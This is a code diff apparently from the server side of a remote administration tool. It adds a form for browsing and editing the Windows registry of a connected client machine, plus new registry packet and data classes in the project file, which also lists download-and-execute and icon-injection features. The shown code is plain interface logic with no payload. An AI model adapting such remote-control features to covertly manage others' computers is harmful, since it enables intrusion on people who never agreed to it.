||||
using xServer.Core.Networking;
|
||||
using xServer.Core.Registry;
|
||||
|
||||
namespace xServer.Forms
|
||||
{
|
||||
|
@ -24,9 +25,175 @@ public FrmRegistryEditor(Client c)
|
|||
InitializeComponent();
|
||||
}
|
||||
|
||||
#region Main Form
|
||||
|
||||
private void FrmRegistryEditor_Load(object sender, EventArgs e)
|
||||
{
|
||||
//Check if user is not currently running as administrator
|
||||
if (_connectClient.Value.AccountType != "Admin")
|
||||
{
|
||||
//Prompt user of not being admin, probably change need clearer statement (TODO)
|
||||
string msg = "The client software is not running as administrator and therefore some functionality like Update, Create, Open and Delete my not work properly!";
|
||||
string caption = "Alert!";
|
||||
MessageBox.Show(msg, caption, MessageBoxButtons.OK, MessageBoxIcon.Warning);
|
||||
}
|
||||
|
||||
// Signal client to retrive the root nodes (indicated by null)
|
||||
new xServer.Core.Packets.ServerPackets.DoLoadRegistryKey(null).Execute(_connectClient);
|
||||
}
|
||||
|
||||
private void FrmRegistryEditor_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
if (_connectClient.Value != null)
|
||||
_connectClient.Value.FrmRe = null;
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region TreeView Helperfunctions
|
||||
|
||||
public void AddRootKey(RegSeekerMatch match)
|
||||
{
|
||||
tvRegistryDirectory.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
TreeNode node = CreateNode(match.Key, match.Key, match.Data);
|
||||
node.Nodes.Add(new TreeNode());
|
||||
tvRegistryDirectory.Nodes.Add(node);
|
||||
});
|
||||
}
|
||||
|
||||
private TreeNode CreateNode(string key, string text, object tag)
|
||||
{
|
||||
return new TreeNode()
|
||||
{
|
||||
Text = text,
|
||||
Name = key,
|
||||
Tag = tag
|
||||
};
|
||||
}
|
||||
|
||||
public void AddKeysToTree(string rootName, RegSeekerMatch[] matches)
|
||||
{
|
||||
if (string.IsNullOrEmpty(rootName))
|
||||
{
|
||||
// Root key
|
||||
foreach (var match in matches)
|
||||
{
|
||||
AddRootKey(match);
|
||||
}
|
||||
|
||||
tvRegistryDirectory.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
tvRegistryDirectory.SelectedNode = tvRegistryDirectory.Nodes[0];
|
||||
});
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
TreeNode parent = GetParentTreeNode(rootName);
|
||||
|
||||
// If the parent is null, it should be a root node.
|
||||
if (parent == null)
|
||||
{
|
||||
//Error incorrect format
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
tvRegistryDirectory.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
foreach (var match in matches)
|
||||
{
|
||||
//This will execute in the form thread
|
||||
TreeNode node = CreateNode(match.Key, match.Key, match.Data);
|
||||
if (match.HasSubKeys)
|
||||
{
|
||||
node.Nodes.Add(new TreeNode());
|
||||
}
|
||||
parent.Nodes.Add(node);
|
||||
}
|
||||
parent.Expand();
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Using the RegSeekerMatch's name, obtain the parent TreeNode of the match, creating
|
||||
/// the TreeNodes if necessary.
|
||||
/// </summary>
|
||||
/// <param name="match">The match from which we obtain the corresponding TreeNode from.</param>
|
||||
/// <returns>Null if an invalid name is passed; The parent TreeNode for non-root matches; Returns
|
||||
/// itself if it is a root match.</returns>
|
||||
private TreeNode GetParentTreeNode(string rootName)
|
||||
{
|
||||
string[] nodePath = null;
|
||||
if (rootName.Contains("\\"))
|
||||
{
|
||||
// It might not be a root node.
|
||||
nodePath = rootName.Split(new char[] { '\\' }, StringSplitOptions.RemoveEmptyEntries);
|
||||
|
||||
// Only one valid node. Probably malformed or a root node.
|
||||
if (nodePath.Length < 2)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
//Is a root node
|
||||
nodePath = new string[] { rootName };
|
||||
}
|
||||
|
||||
// Keep track of the last node to reference for traversal.
|
||||
TreeNode lastNode = null;
|
||||
|
||||
// If the TreeView contains the first element in the node path, we
|
||||
// won't have to create it. Otherwise, create it then set the last node
|
||||
// to serve as our reference point.
|
||||
if (tvRegistryDirectory.Nodes.ContainsKey(nodePath[0]))
|
||||
{
|
||||
lastNode = tvRegistryDirectory.Nodes[nodePath[0]];
|
||||
}
|
||||
else
|
||||
{
|
||||
// This node does not exist in the TreeView. Create it then add it.
|
||||
lastNode = CreateNode(nodePath[0], nodePath[0], null);
|
||||
tvRegistryDirectory.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
tvRegistryDirectory.Nodes.Add(lastNode);
|
||||
});
|
||||
|
||||
}
|
||||
|
||||
// Go through the rest of the node path (leave last one, is the one to add).
|
||||
for (int i = 1; i < nodePath.Length; i++)
|
||||
{
|
||||
// If the last node does have this entry in the path, just set
|
||||
// the last node to the existing entry.
|
||||
if (lastNode.Nodes.ContainsKey(nodePath[i]))
|
||||
{
|
||||
lastNode = lastNode.Nodes[nodePath[i]];
|
||||
}
|
||||
else
|
||||
{
|
||||
// If the last node does not contain the next item in the path,
|
||||
// create the node and add it to the path.
|
||||
TreeNode newNode = CreateNode(nodePath[i], nodePath[i], null);
|
||||
|
||||
tvRegistryDirectory.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
lastNode.Nodes.Add(newNode);
|
||||
});
|
||||
|
||||
lastNode = newNode;
|
||||
}
|
||||
}
|
||||
|
||||
return lastNode;
|
||||
}
|
||||
|
||||
#endregion
|
||||
}
|
||||
}
|
||||
|
|
|
@ -76,6 +76,7 @@
|
|||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Core\Build\IconInjector.cs" />
|
||||
<Compile Include="Core\Commands\RegistryHandler.cs" />
|
||||
<Compile Include="Core\Data\AutostartItem.cs" />
|
||||
<Compile Include="Core\Data\BuildOptions.cs" />
|
||||
<Compile Include="Core\Data\DownloadAndExecute.cs" />
|
||||
|
@ -138,6 +139,7 @@
|
|||
<Compile Include="Core\NetSerializer\TypeSerializers\GenericSerializer.cs" />
|
||||
<Compile Include="Core\NetSerializer\TypeSerializers\ObjectSerializer.cs" />
|
||||
<Compile Include="Core\NetSerializer\TypeSerializers\PrimitivesSerializer.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\GetRegistryKeysResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\SetStatusFileManager.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoCreateRegistryKey.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoDeleteRegistryKey.cs" />
|
||||
|
@ -145,6 +147,8 @@
|
|||
<Compile Include="Core\Packets\ServerPackets\DoLoadRegistryKey.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoRenameRegistryKey.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\SetAuthenticationSuccess.cs" />
|
||||
<Compile Include="Core\Registry\RegSeekerMatch.cs" />
|
||||
<Compile Include="Core\Registry\RegValueData.cs" />
|
||||
<Compile Include="Core\Utilities\FrameCounter.cs" />
|
||||
<Compile Include="Core\Helper\NativeMethodsHelper.cs" />
|
||||
<Compile Include="Core\Helper\PlatformHelper.cs" />
|
||||
|
|
Loading…
Reference in New Issue